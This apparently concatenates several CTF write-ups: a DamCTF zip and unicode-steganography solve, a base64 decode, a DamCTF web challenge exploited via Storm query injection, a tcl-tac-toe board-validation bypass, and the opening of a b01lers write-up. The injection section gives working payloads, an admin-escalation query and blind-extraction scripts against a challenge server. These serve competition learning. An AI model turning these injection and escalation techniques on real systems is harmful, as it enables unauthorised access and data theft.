**`hexdump`:**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:40:35(HKT)]└> hexdump -C message.zip 00000000 50 4b 03 04 14 00 00 00 08 00 12 5b 6a 56 6e 36 |PK.........[jVn6|00000010 62 bf 37 01 00 00 15 02 00 00 0a 00 00 00 52 45 |b.7...........RE|00000020 41 44 4d 45 2e 74 78 74 3d 91 4d 8e c3 30 08 85 |ADME.txt=.M..0..|00000030 f7 95 7a 07 0e 50 f5 14 b3 e9 6e a4 ce 05 88 43 |..z..P....n....C|00000040 12 34 36 58 36 69 e4 39 fd 60 47 ed ce 3f ef f1 |.46X6i.9.`G..?..|00000050 3e e0 8b b0 c0 b3 c5 17 e3 ed 7a b9 5e 1e 70 a0 |>.........z.^.p.|00000060 18 cd 60 0a 91 0c 9a ee f0 2b 7a 80 6d 68 f0 80 |..`......+z.mh..|00000070 0d 5f 04 33 05 9e 4f 4d a1 ca ab c0 52 34 b9 84 |._.3..OM....R4..|00000080 c0 08 d3 0d 68 59 28 18 bb 94 53 a2 99 d1 28 b6 |....hY(...S...(.|00000090 fb db 3e 11 09 a8 4b 8a d7 40 bf 9a 51 01 cd 59 |..>[email protected]|000000a0 8b ed c2 d6 80 62 a5 63 f3 7f 40 99 dd 36 51 64 |[email protected]|000000b0 ea d5 0c b8 02 0b a4 e6 6f d5 6f ce 5a fa c1 51 |........o.o.Z..Q|000000c0 f2 5e ea de 35 f7 de c8 77 24 ac 8e aa 20 6a 2e |.^..5...w$... j.|000000d0 86 a0 12 a8 48 8f 9c 74 b7 41 5b f7 10 a8 56 87 |....H..t.A[...V.|000000e0 19 d7 c4 b5 b2 ca 07 d4 2d 8b 37 ea be 9e d9 15 |........-.7.....|000000f0 85 12 b2 b0 ac 90 28 4d 54 3e d6 b3 ef 93 16 93 |......(MT>......|00000100 17 76 76 7f 6f 70 70 8c 3d 1e a7 48 9d 32 68 ca |.vv.opp.=..H.2h.|00000110 3e d8 d1 cb c1 b6 75 14 94 06 b9 a8 2b 52 bd 9f |>.....u.....+R..|00000120 5b c0 ac 51 57 fe 23 58 b4 0c 01 8b e3 bc 48 78 |[..QW.#X......Hx|00000130 f0 f8 00 66 ca e8 03 f3 a0 84 0d 02 ee 95 de 04 |...f............|00000140 9b 66 1a ab 1b e9 bb cc 4e 6a fd 6b d8 02 8f 2e |.f......Nj.k....|00000150 7b d0 93 fb 50 7c 39 63 f9 3f 2e e7 75 b3 7f 50 |{...P|9c.?..u..P|00000160 4b 03 04 14 00 00 00 08 00 12 5b 6a 56 1a 3d 07 |K.........[jV.=.|00000170 10 97 01 00 00 38 08 00 00 0a 00 00 00 73 65 63 |.....8.......sec|00000180 72 65 74 2e 74 78 74 95 55 4b 72 83 30 0c dd 73 |ret.txt.UKr.0..s|00000190 0a ed b2 c9 45 38 86 8b d5 e0 86 98 0c 36 74 b2 |....E8.......6t.|000001a0 eb 01 ec 9b 70 83 2e 7a 97 5c 20 57 a8 1c 08 69 |....p..z.\ W...i|000001b0 b1 94 49 66 18 0f 83 ac f7 f4 f4 e3 fc 15 fe 3c |..If...........<|000001c0 71 39 4b c8 2c e3 f5 89 1d 2a bd b2 5d be 7f e8 |q9K.,....*..]...|000001d0 85 4e 60 0d e4 f7 86 fe 13 d1 b2 a0 f1 c6 bb fe |.N`.............|000001e0 4e de be 46 ce 14 72 97 85 0a 1a 63 d1 6d e1 70 |N..F..r....c.m.p|000001f0 92 d8 c2 60 9c 69 ed e6 bf 39 dc 90 83 63 65 c4 |...`.i...9...ce.|00000200 ec fa 92 93 20 10 c5 aa 41 d5 49 34 a0 ac ce 1c |.... ...A.I4....|00000210 e3 2c 62 4f d9 12 6a 13 8b 92 b3 a4 17 10 5c 82 |.,bO..j.......\.|00000220 43 64 6c 93 2e ca 31 d4 46 6b 99 70 e5 9a 02 9c |Cdl...1.Fk.p....|00000230 d2 7d 40 65 8d dd 51 b6 25 91 09 dc 77 bd af 1d |.}@e..Q.%...w...|00000240 1b db 78 e5 57 5e 72 97 8a cf 94 76 12 a3 3a 84 |..x.W^r....v..:.|00000250 de 92 5c 5b 48 98 25 e8 ac f8 f7 16 f6 af 16 3f |..\[H.%........?|00000260 0a a1 84 8f de 79 c9 f6 bc 5e ba 9f b9 2c 38 a3 |.....y...^...,8.|00000270 84 03 5e ed 51 54 e2 eb 54 34 69 c2 83 f2 e2 9c |..^.QT..T4i.....|00000280 be ab 0a 61 50 4d 8f db 27 25 2c a4 22 66 5e 7f |...aPM..'%,."f^.|00000290 71 c8 97 32 0b 0d 39 6e 1c d8 d6 73 81 24 6d b4 |q..2..9n...s.$m.|000002a0 13 84 20 5e 6f 34 e7 4f 0d 16 25 9b e3 bc c8 f7 |.. ^o4.O..%.....|000002b0 34 68 b3 5b d1 dd 2e 8b 62 81 75 a0 53 23 1e d3 |4h.[....b.u.S#..|000002c0 16 81 92 7a be 6a 07 ec 32 88 c8 f6 cf 12 cd 16 |...z.j..2.......|000002d0 d2 80 0a 01 05 61 2b cc 98 7c ff b0 cd 3a 0f 3a |.....a+..|...:.:|000002e0 fd 3a 5c df a1 63 93 fd 08 91 6d 91 28 8d 06 db |.:\..c....m.(...|000002f0 8d 0f c7 38 bc 24 67 26 a6 55 23 71 40 d5 1e 8e |...8.$g&.U#q@...|00000300 a6 c1 7c bf cf 7d 5a 70 64 6c 74 0f 0a 28 a9 0c |..|..}Zpdlt..(..|00000310 17 71 61 84 b3 10 31 87 3f b2 df 27 97 5f 50 4b |.qa...1.?..'._PK|00000320 01 02 14 00 14 00 00 00 08 00 12 5b 6a 56 6e 36 |...........[jVn6|00000330 62 bf 37 01 00 00 15 02 00 00 0a 00 00 00 00 00 |b.7.............|00000340 00 00 00 00 00 00 00 00 00 00 00 00 52 45 41 44 |............READ|00000350 4d 45 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 |ME.txtPK........|00000360 01 00 38 00 00 00 1e 03 00 00 00 00 |..8.........|0000036c```
Hmm... Looks like there are 2 PK file signature (`50 4b 03 04`).
**Also [this blog about ZIP steganography](https://resources.infosecinstitute.com/topic/steganography-what-your-eyes-dont-see/) helped me a lot:**
| | || --- | --- || **Signature** | **The signature of the local file header is always 0x504b0304** || **Version** | The PKZip version needed for archive extraction || **Flags** | Bit 00: encrypted fileBit 01: compression optionBit 02: compression optionBit 03: data descriptorBit 04: enhanced deflationBit 05: compressed patched dataBit 06: strong encryptionBit 07-10: unusedBit 11: language encodingBit 12: reservedBit 13: mask header valuesBit 14-15: reserved || **Compression method** | 00: no compression01: shrunk02: reduced with compression factor 103: reduced with compression factor 204: reduced with compression factor 305: reduced with compression factor 406: imploded07: reserved08: deflated09: enhanced deflated10: PKWare DCL imploded11: reserved12: compressed using BZIP213: reserved14: LZMA15-17: reserved18: compressed using IBM TERSE19: IBM LZ77 z98: PPMd version I, Rev 1 || **File modification time** | Bits 00-04: seconds divided by 2Bits 05-10: minuteBits 11-15: hour || **File modification date** | Bits 00-04: day Bits 05-08: month Bits 09-15: years from 1980 || **Crc-32 checksum** | CRC-32 algorithm with ‘magic number’ 0xdebb20e3 (little endian) || **Compressed size** | If archive is in ZIP64 format, this filed is 0xffffffff and the length is stored in the extra field || **Uncompressed size** | If archive is in ZIP64 format, this filed is 0xffffffff and the length is stored in the extra field || **File name length** | The length of the file name field below || **Extra field length** | The length of the extra field below || **File name** | The name of the file including an optional relative path. All slashes in the path should be forward slashes ‘/’. || **Extra field** | Used to store additional information. The field consists of a sequence of header and data pairs, where the header has a 2 byte identifier and a 2 byte data size field. |

**Therefore, there are 2 ZIP file in `message.zip`:**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:40:35(HKT)]└> hexdump -C message.zip00000000 50 4b 03 04 14 00 00 00 08 00 12 5b 6a 56 6e 36 |PK.........[jVn6|00000010 62 bf 37 01 00 00 15 02 00 00 0a 00 00 00 52 45 |b.7...........RE|00000020 41 44 4d 45 2e 74 78 74 3d 91 4d 8e c3 30 08 85 |ADME.txt=.M..0..|[...]00000150 7b d0 93 fb 50 7c 39 63 f9 3f 2e e7 75 b3 7f 50 |{...P|9c.?..u..P|00000160 4b 03 04 14 00 00 00 08 00 12 5b 6a 56 1a 3d 07 |K.........[jV.=.|00000170 10 97 01 00 00 38 08 00 00 0a 00 00 00 73 65 63 |.....8.......sec|00000180 72 65 74 2e 74 78 74 95 55 4b 72 83 30 0c dd 73 |ret.txt.UKr.0..s|[...]```
**We can use `dd` to retrieve the second ZIP file:**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:46:41(HKT)]└> dd if=message.zip bs=1 skip=351 of=secret.zip 525+0 records in525+0 records out525 bytes copied, 0.00145336 s, 361 kB/s┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:46:44(HKT)]└> file secret.zip secret.zip: Zip archive data, at least v2.0 to extract, compression method=deflate```
**However, when we `unzip` it:**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|19:46:48(HKT)]└> unzip secret.zip Archive: secret.ziperror [secret.zip]: missing 351 bytes in zipfile (attempting to process anyway)error: invalid zip file with overlapped components (possible zip bomb)```
Hmm... "missing 351 bytes in zipfile"?
**After some googling, I found [this blog](https://osxdaily.com/2019/05/12/how-to-fix-unzip-error-end-of-central-directory-signature-not-found/):**

```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|20:09:44(HKT)]└> zip -FF secret.zip --out RepairedZip.zip Fix archive (-FF) - salvage what can Found end record (EOCDR) - says expect single disk archiveScanning for entries... copying: secret.txt (407 bytes)Central Directory found...no local entry: README.txtEOCDR found ( 1 503)...```
```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|20:10:25(HKT)]└> unzip RepairedZip.zip Archive: RepairedZip.zip inflating: secret.txt```
Oh! We inflated the `secret.txt`!
```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|20:10:38(HKT)]└> cat secret.txt I read between the lines, my vision's clear and keenI see the hidden meanings, the truths that are unseenI don't just take things at face value, that's not my styleI dig deep and I uncover, the hidden treasures that are compiled```
Umm... What?
```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|20:18:30(HKT)]└> ls -lah secret.txt -rw-r--r-- 1 siunam nam 2.1K Mar 10 11:24 secret.txt```
It's size is 2.1 KB, it must be hiding something weird.
**Let's use `file` to find it's file format:**```┌[siunam♥earth]-(~/ctf/DamCTF-2023/misc/de-compressed)-[2023.04.08|20:14:23(HKT)]└> file secret.txt secret.txt: CSV text```
CSV?
I tried to open it via Microsoft Excel, but nothing weird...

Hmm... What can I do with that...
Ahh!! Wait, I remember a room in TryHackMe!
> [The Impossible Challenge](https://tryhackme.com/room/theimpossiblechallenge), writeup: [https://siunam321.github.io/ctf/tryhackme/The-Impossible-Challenge/](https://siunam321.github.io/ctf/tryhackme/The-Impossible-Challenge/)
Does that `secret.txt` using the ***unicode steganography***??
If so, we can use [an online tool to decode those unicodes](https://330k.github.io/misc_tools/unicode_steganography.html)!

Nice!!! We found the flag!
- **Flag: `dam{t1m3_t0_kick_b4ck_4nd_r3l4x}`**
## Conclusion
What we've learned:
1. Extract Hidden File In PKZip & Unicode Steganography With Zero-Width Characters |
**Description:**
**Knowledge required :**
1) Base64 representation
**Solution:**1) From the bo1lers ctf we get the base64 encoded string `d2N0ZntNNDF6M180bmRfQmx1M30K`
2) Decoding it gives us the flag```echo d2N0ZntNNDF6M180bmRfQmx1M30K | base64 -d wctf{M41z3_4nd_Blu3}``` |
# web/thunderstruck

## Intro
I participated in DamCTF and solved a web challenge called Thunderstruck, flagging it less than an hour before the end of the CTF. I'm happy since it's the first time I managed to get a challenge with relatively few solves :D
## Exploration and research
### Overview
The challenge is a Python webapp that uses [Quart](https://pgjones.gitlab.io/quart/), an async reimplementation of Flask.

You can register and login as an user. There's a `/lookup` endpoint where you can query some IOC (IPv4, MD5, SHA1, SHA256, or SHA512) to find out if they are "sus" or "safe". There's also an `/admin` panel only accessible if the user is an admin.
### Synapse
The index page tells us that the challenge is powered by [Synapse](https://github.com/vertexproject/synapse-quickstart). I knew nothing about Synapse so the source code looked very overwhelming at first, but things became much clearer when I realized it's just a fancy database system.
Reading the [Synapse documentation](https://synapse.docs.vertex.link/en/latest/index.html), we can summarize some important characteristics and terminology that will help us understand the challenge:
- Synapse uses Cortex which is a graph-like database, where a data entity is called a node which can be connected to other nodes, instead of tables and rows like in a SQL database.- Cortex uses a query language called Storm. It's like the equivalent of the SQL for Cortex.
So for example, if you `/lookup` an IP address like `1.1.1.1`, the app will use Storm to query if the Cortex database contains an `inet:ipv4` node that has the value `1.1.1.1`.
### Source code
First, we can see that `init_cortex.storm` is used to initialize the database with some nodes. A `inet:ipv4` node is set with value `9.9.9.9` and a `meta:event` node is set with a redacted summary.
There's no mention of flag or anything redacted at any other place, so it seems that our goal is to somehow exfiltrate this value.
```[meta:event=* :title="ingest-20230202" :summary="<REDACTED>"][inet:ipv4=9.9.9.9]
// REDACTED, CAN'T LEAK THE SPICE INTEL ;)
fini { $lib.print("initialized!") }```
The Quart webapp code is in `src/thundertruck.py`, and we can study how the Cortex database and Storm query language is used in the app.
For example, in `register_user`, the `cortex.count` method is used to execute a Storm query to verify if a username already exists in the database, i.e. if an `auth:creds` node with value `(thunderstruck,$u)` exists. Notice the usage of the parameter `$u` which is the username, very much like a prepared statement / parametrized query in SQL.
```python@classmethodasync def register_user(cls, username: str, password: str) -> bool: salt = cls.get_salt() pwhash = cls.get_pw_hash(password, salt)
if (await current_app.cortex.count(r"auth:creds=(thunderstruck,$u)", opts={"vars": {"u": username}, "view": BASE_VIEW_GUID})) == 1: return False # ...```
## Finding the bug
### Storm query injection
Let's now take a look at how the app finds out if the IOC you give at `/lookup` is "sus" (i.e. queries if it's in the Cortex database) or not:
```pythonasync def _lookup_ip(ip) -> bool: return await current_app.cortex.count(f"inet:ipv4={ip}", opts={"vars": {"ip": ip}, "view": await current_user.view}) > 0
async def _lookup_md5(h) -> bool: return await current_app.cortex.count(f"hash:md5={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0
async def _lookup_sha1(h) -> bool: return await current_app.cortex.count(f"hash:sha1={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0
async def _lookup_sha256(h) -> bool: return await current_app.cortex.count(f"hash:sha256={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0
async def _lookup_sha512(h) -> bool: return await current_app.cortex.count(f"hash:sha512={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0```
It uses the `cortex.count` method just like in `register_user`, if the number of results is over 0, the IOC is in the database and is "sus". We can also see that the IP address `ip` or the hash `h` we query is set as a parameter... Wait.
Unlike what we would except, our input is directly incorporated into the Python f-string instead of being a parameter! (`f"inet:ipv4={ip}"` instead of `"inet:ipv4=$ip"`) This looks very much like a SQL injection point, or should I say Storm injection in our case :D
Now comes a question: is the IP address or hash we give to the `/lookup` query properly validated?
### Regex mistake
Here's the section of the code that validates our `/lookup` query parameter.
```pythonIPV4_PAT = re.compile(r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$")HASH_PAT = re.compile(r"[0-9a-f]+")@app.route("/lookup", methods=["GET", "POST"])@login_requiredasync def lookup(): if request.method == "POST": form = await request.form
found = False good_lookup = True if IPV4_PAT.findall(form["query"]): found = await _lookup_ip(form["query"]) elif HASH_PAT.findall(form["query"]): if len(form["query"]) == 32: found = await _lookup_md5(form["query"]) elif len(form["query"]) == 40: found = await _lookup_sha1(form["query"]) elif len(form["query"]) == 64: found = await _lookup_sha256(form["query"]) elif len(form["query"]) == 128: found = await _lookup_sha512(form["query"]) else: good_lookup = False else: good_lookup = False return await render_template("lookup.html", indicator=form["query"], good_lookup=good_lookup, found=found) else: return await render_template("lookup.html")```
The regex that matches `IPV4_PAT` is properly written, but we notice that the `^` and `$` is missing from `HASH_PAT`, which will make the regex match any string that contains at least one hex character, instead of verifying that it only contains hex characters!
However, our query still needs to be either 32, 40, 64 or 128 characters, but this is not really a problem since we can use comments that start with an `#` in Storm to pad our query (or simply just use spaces).
### A simple POC
Suppose we `/lookup` the following query:
```00000* | inet:ipv4=9.9.9.9 #aaaa```
It contains at least one hex character and we padded it to length 32, so it will pass the validation and the resulting Storm query will be:
```pythoncortex.count("hash:md5=00000* | inet:ipv4=9.9.9.9")```
`*` is the wildcard character, so this translates to: "Get the number of `hash:md5` nodes that start with `00000` plus the number of `inet:ipv4` nodes equal to `9.9.9.9`".
We set `00000*` to ensure that no node matches the left side of the `|` operator, since it's very unlikely that a hash like that exists in the database. So the result of this count query will be over 0 if and only if there's a match in the right side.
We can test this locally because we know from `init_cortex.storm` that there's a `inet:ipv4` node with value `9.9.9.9` in the database, so the lookup will return "sus".
```00000* | inet:ipv4=9.9.9.9 #aaaa```

On the other hand, the IP `9.9.9.8` doesn't exist in our local database, so the following lookup will return "safe".
```00000* | inet:ipv4=9.9.9.8 #aaaa```

We now have a way to execute arbitrary Storm commands, and also found an oracle to test if there's a node in the database that satisfies our given condition, just like in a blind SQL injection!
## Exfiltrating the event summary
The goal now is to get the value of `meta:event:summary`, and that's where things got tough for me.
### My inefficient solution
I immediately got the idea of exfiltrating the event summary character by character, using the same method you would use for a blind SQL injection. However, an operator that only matches part of the string similar to `LIKE` or `SUBSTR` in SQL is needed, and after reading through the Synapse documentation, I found and used the [filter by regex](https://synapse.docs.vertex.link/en/latest/synapse/userguides/storm_ref_filter.html#filter-by-regular-expression) operator `~=`.
For example, the following lookup will return "sus" only if the event summary begins with the character `a`, and we will try this for every ASCII printable character to determine the first character, then the second one... until we get the full value.
```00000* | meta:event:summary ~= "^a" #aaa```
Here's the solve script I ended up using. Note that since the summary is very long, the 128 character limit will be reached a few times and you will need to truncate the summary and restart the script if you decide to try it out entirely.
```pythonimport requestsimport string
s = requests.Session()base_url = 'http://157.230.188.90'
r = s.post(f'{base_url}/login', { 'username': 'a', 'password': 'a'})
summary = ''alphabet = [' ', '\\n'] + ['\\' + c for c in ',":=$()[]{}'] + list(string.ascii_letters + string.digits) + ['\\S', '\\s']
while True:
for guess in alphabet:
query = f'00000* | meta:event:summary ~= "^{summary + guess}" #'.ljust(128, 'a')
r = s.post(f'{base_url}/lookup', { 'query': query }) assert('boi is safe' in r.text or 'sus indicator' in r.text)
if 'sus indicator' in r.text: summary += guess print(summary) break```
After a very long time and lots of regex debugging due to the presence of whitespaces and special characters, I finally got the full value of `meta:event:summary` which is a code segment:
```phpfor ($type, $valu) in $rows { switch ($type) { "md5": {[ hash:md5=$valu ]} "sha1": {[ hash:sha1=$valu ]} "sha256": {[ hash:sha256=$valu ]} "sha512": {[ hash:sha512=$valu ]} "ip": {[ inet:ipv4=$valu ]} "flag": {[ it:dev:str=$valu ]} }}```
Unfortunately, the summary didn't contain the flag itself. However, we seem to be on the good path, since there's a line hinting that the flag might be stored in a `it:dev:str` node.
```php"flag": {[ it:dev:str=$valu ]}```
### The good and intended way
Actually, the `/admin` endpoint displays the summary of the most recent `meta:event` when accessed, which would have saved me the hurdle of bruteforcing it character by character if I had found a way to access it. This completely skipped my mind during the CTF.
```pythoningest_ts, ingest_code = await current_app.cortex.callStorm(r"meta:event#ingest | max .created | return((.created, :summary))", opts={"view": await current_user.view})```
Of course, you need to be an admin in order to access the endpoint. In the source code, we can find out that an user is defined as an admin if the corresponding `auth:creds` node has a tag (defined by the character `#` in Synapse) with value `role.admin`.
```pythonself._is_admin = (await current_app.cortex.count(r"auth:creds=(thunderstruck,$u) +#role.admin", opts={"vars": {"u": self.auth_id}, "view": self._view})) == 1```
Since we found a way to inject arbitrary Storm in the `/lookup` function, we can simply inject a query that adds the tag `role.admin` to our user node, which will promote us to admin!
```* | auth:creds:user=a [+#role.admin] #aa```
Then we can access the admin center and get the event summary effortlessly, as well as useful information such as node counts for each form. We can confirm that there's a single `it:dev:str` node in the database which very likely contains the flag.


I got fixated on my idea of exfiltrating `meta:event:summary` character by character wrongly assuming that I could get the flag quickly that way and somehow forgot the details of the `/admin` endpoint, which lead to a lot of time wasted. Lessons learned!
## Exfiltrating the flag
Now that we know that the flag is in the `it:dev:str` node, we can apply the same method we used for the event summary to exfiltrate the flag character by character, this time using the `^=` operator which [filters by prefix](https://synapse.docs.vertex.link/en/latest/synapse/userguides/storm_ref_filter.html#filter-by-prefix), since the flag likely starts with `dam{`. We can verify that by checking that the following lookup returns "sus" on remote:
```00000* | it:dev:str ^= "dam{" #a```

The solve script is very similar to the previous one, again just like a blind SQL injection.
```pythonimport requestsimport string
s = requests.Session()base_url = 'http://157.230.188.90'
r = s.post(f'{base_url}/login', { 'username': 'a', 'password': 'a'})
flag = 'dam{'alphabet = '}_' + string.digits + string.ascii_letters
while not flag.endswith('}'):
for guess in alphabet:
query = f'00000* | it:dev:str ^= "{flag + guess}" #'.ljust(128, 'a')
r = s.post(f'{base_url}/lookup', { 'query': query }) assert('boi is safe' in r.text or 'sus indicator' in r.text)
if 'sus indicator' in r.text: flag += guess print(flag) break```
After some time, we finally get the flag!
```dam{sq1_4nd_3xcel_ar3_w3ak_gr4phs_3re_fun}``` |
>Time to tackle tcl-tac-toe: the tricky trek towards top-tier triumph>>http://tcl-tac-toe.chals.damctf.xyz/>>http://161.35.58.232/>>[tcl-tac-toe.zip](https://rctf-bucket.storage.googleapis.com/uploads/fb961906561fbbd533c8a1fbcdf5b0525dcb1a7dd75a9644677247871c7b539a/tcl-tac-toe.zip)
题目给出了源码与站点:http://161.35.58.232/
站点给出的是一个井字棋游戏:

玩了游戏就知道这个 AI 会在我们即将获胜的时候同时下两颗子 emmmm. 怎么绕过这个限制呢?
游戏交互的 http 报文会传输当前棋盘(prev_board)、下一步棋盘(new_board)还有一个当前棋盘的签名(signature)。```httpPOST /update_board HTTP/1.1Host: 161.35.58.232Content-Length: 611User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: http://161.35.58.232Referer: http://161.35.58.232/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: close
prev_board=-%20-%20-%20-%20-%20-%20-%20-%20-&new_board=X%20-%20-%20-%20-%20-%20-%20-%20-&signature=a9ed4e91ab71e5f7586c7cb80e07c336b00fb0d0d19f368c8b60230c0812be70b4f52684ada00908784a186b2665ebb32e432871e8ea5566030126593b33898910121482bef7e205ecd39c9b0db96dc74dd46965baa267bd626460bee84b4471e88465983a62b46a19dacb4db4c8ad3b4312ff9b14d45b1c61e2a2126bdd6ae0513b0fcdd5d34edec658c5637a23dd6acde47c0207ff2bb89be14981d7924f2da1cfaf53b8a8f0ea6cd2bcb3b8a2df409f3ecdc1ec1e96c548b0dfefbb08ba91be5d2c705cb65301c34adca90404801c7b356eb9d3ca8c72a519b3296a8db7a1830ae71b91a59b3e02b3126ed7fe3550123aa924563ed0369ee5a024659c0f13```
通过审计源代码可以发现:1. 首次加载页面时,会得到一个初始的 signature, 这个签名是通过 sign 函数传入初始棋盘获得的。2. 每次落子的时候会发送 prev_board 、signature 给服务端,服务端会使用 verify 函数验证 prev_board 是否被篡改。verify 不通过时返回 "No hacking allowed!"3. 每次落子的时候会发送 new_board 给服务端,服务端会使用 valid_move 来判断 prev_board 和 new_board 是否只有一个位置不同。valid_move 不通过时返回 "Invalid move!" 因此以下的几种方式是不可行的:1. 篡改初始棋盘。由于 key.pem 不可知,初始棋盘的 signature 无法伪造。篡改中间过程的棋盘也是同样无效。2. 将 AI 的落子直接修改成我们的落子。valid_move 会检查 old_board 中某个位置是否被 X 或者 O 占据。
但是这个游戏的源代码中同样存在漏洞。那就是 valid_move 只会检查某个位置是否为 X 或者 O。如果两者都不是呢?例如 "C".AI 会根据 X 的情况作弊,但却没有检查非 X 的落子,我们可以先使用 C 占据关键的位置,然后再用 X 去替换(此时 prev_board 中对应位置为 C 所以可以绕过 valid_move)。
于是就有了如下的 payload:
```request 1:
prev_board=-%20-%20-%20-%20-%20-%20-%20-%20-&new_board=-%20-%20-%20-%20C%20-%20-%20-%20-&signature=a9ed4e91ab71e5f7586c7cb80e07c336b00fb0d0d19f368c8b60230c0812be70b4f52684ada00908784a186b2665ebb32e432871e8ea5566030126593b33898910121482bef7e205ecd39c9b0db96dc74dd46965baa267bd626460bee84b4471e88465983a62b46a19dacb4db4c8ad3b4312ff9b14d45b1c61e2a2126bdd6ae0513b0fcdd5d34edec658c5637a23dd6acde47c0207ff2bb89be14981d7924f2da1cfaf53b8a8f0ea6cd2bcb3b8a2df409f3ecdc1ec1e96c548b0dfefbb08ba91be5d2c705cb65301c34adca90404801c7b356eb9d3ca8c72a519b3296a8db7a1830ae71b91a59b3e02b3126ed7fe3550123aa924563ed0369ee5a024659c0f13
request 2:
prev_board=O%20-%20-%20-%20C%20-%20-%20-%20-&new_board=O%20-%20-%20C%20C%20-%20-%20-%20-&signature=b97e4cd24cb1ece250b226665051f61f0a477109caca1b5adf8826c0823ae3d64a4b5265d19467d1568cdd65f22c2de4d60b25e110e3695275b0279e9eaba5bd61cd90fd50b48cbe574ebc9d4bb299457fd52437de5b922387ebc63365b0a4c791bbbca61b1e16f946e80a1f1733f1b5946d28997506ffc52babb83bec67546f309946ce44135a73ddaa01eaa0beb8bab1398cd2f0f73bca1229410a1f882d79926d3d919cee11e68a6d188af873724aa8911364114dc2cfdf0a36c824c28ccc3f7f5f092d37489e60e902bb5c60756f849d082faee7862ae1c9a28421155ca8313590b28902bb16af43da69d029973d15fb5811f2989f6535087cb27f921235
request 3:
prev_board=O%20O%20-%20C%20C%20-%20-%20-%20-&new_board=O%20O%20X%20C%20C%20-%20-%20-%20-&signature=5e8d082c5c98e9b9a21aacc6c630e000c8f26da01b0e9d8b35f3f7469d4651b1de5640a958755aeb4b7712195869058a393f89975c27f4a2b82230e901dd9c0457ab071c2fc9aad8036ca4d2cc0ba963dc28476503077ca7e1b9e73d67931b60c3d8e20b424305c8db0cd0ac6bc06076f610b59e47a15ddb797c0bbca0bd3444f3677ea0e201d73670fe098eddb482e97b692144a131f58894e44d0565d0e651444b9ef31ea0efaf6306faa8ddbc0f249ed92d7dcca6c1ac6c60f8aa374d94dbd2ba725e5306a0722362029d627eca16972d45a654b2573a494b9a20cd9931881d53a55b2d624183778de7f8e10e0a249835b202fa9106e5061ef785e0d368ef
request 4:
prev_board=O%20O%20X%20C%20C%20O%20-%20-%20-&new_board=O%20O%20X%20C%20C%20O%20X%20-%20-&signature=9518b334a395766f85425c71fc354b8b1c6887647e49acc578f35eebfc693737ef9daaa54269f0075285c7d5ab83ab9f8eeb2c8e2eb894831e2f4c95c08f0ed42282c120cb900953af05ea3245240e6af4170b97f3fef39381ca774763ca68599e0457d0ec43627851812a6eca0f5445e4a6e3a730507a863341fa749bcc223770ab39416e0c4278dce9735ef5c027fdfd6250ba56c993c47b31a63d71659169a189fd79429fecc5bc4a57f97ca414f014d222736aa6d48068d5a66c491dda41029e12f36ab5845999481b4afa3b9437f25fbbc3af4d0c7cc2a45351edb53da5c3f4b47275ae7511806c4bab58742984e77f907e1a2506078495c8de4010f08a
request 5:
prev_board=O%20O%20X%20C%20C%20O%20X%20O%20-&new_board=O%20O%20X%20C%20X%20O%20X%20O%20-&signature=7c6c5b595130941e6869b4e3123e9b9327b608dadc9b3136b37723f8a01d8d6ffd81416e8c608b33ecbfaba1eb22a8ba86d5394b69a80e4cab423fe240f76759cef0347679d7265f10778d148d012a582da6744be1173d09bf13281eaff8da6c3ba85dd063657e9a0483e669a682bf56de8da785e8ebd0a00d160e88441a562a99a5a32977ace95251d3b2243ddeaae67e2453c29b04ba59731f62953315500e790a0baff9589df56d4372fc00a566e072244f48c02a345f53fe8263bc38bc4b07b358815e884ef39c30ee641aec0941b2c15ae4905cc259e957b3da935a49c8f7b12fe5c02f38d87071be1727262ab36199e2dd502bf06cf461bdc2e39e932e
```
发送最后一个包的时候就可以获胜并得到 flag。```httpHTTP/1.1 200 OkServer: wappConnection: closeContent-Security-Policy: default-src 'self'Content-Type: text/html; charset=utf-8Content-Length: 628
O O X C X O X O -,8cb5f4229995c11a5a677b1c5c6ce751e914f622458fc3dc2822c376f68690f85e98daded296ee07eac15127fd82dfea50d18d86f104fb0c36a4f8cc9bc1e7feabf7c9e39c3ea46dcf48834fb5a62610be4fae1c9557a0b6e11b5254fe77561dbad7e62e3cc390db2a04a3e7fd21b989ffa93ab240d2ac22aea9e3b4fa5502597dfbe3d0725d09e681ba02d1ec0498529f21714ccfe8c12d25817242eb1f3712650b5033d611a888ea05f433f3bbeedcd3d9702a5420dc69e410c1ab17a4f8aad336d246fcee3417ee3be85bd451f3d9e479b6f4578daccfbf3328dd746261f605a0a5b1fc336011de8c01b003106cd3275abfdcb2ace1edc5f5f179360de4b1,Impossible! You won against the unbeatable AI! dam{7RY1N9_Tcl?_71m3_70_74k3_7W0_7YL3n0l_748L37s}```
[original writeup](https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#tcl-tac-toe) (https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#tcl-tac-toe) |
# b01lers CTF 2023 - PADLOCK Writeup
# Challenge Description```Mindblown by ioccc? How can someone write programs like this... Anyway, try open this padlock :)
Author: bronson113
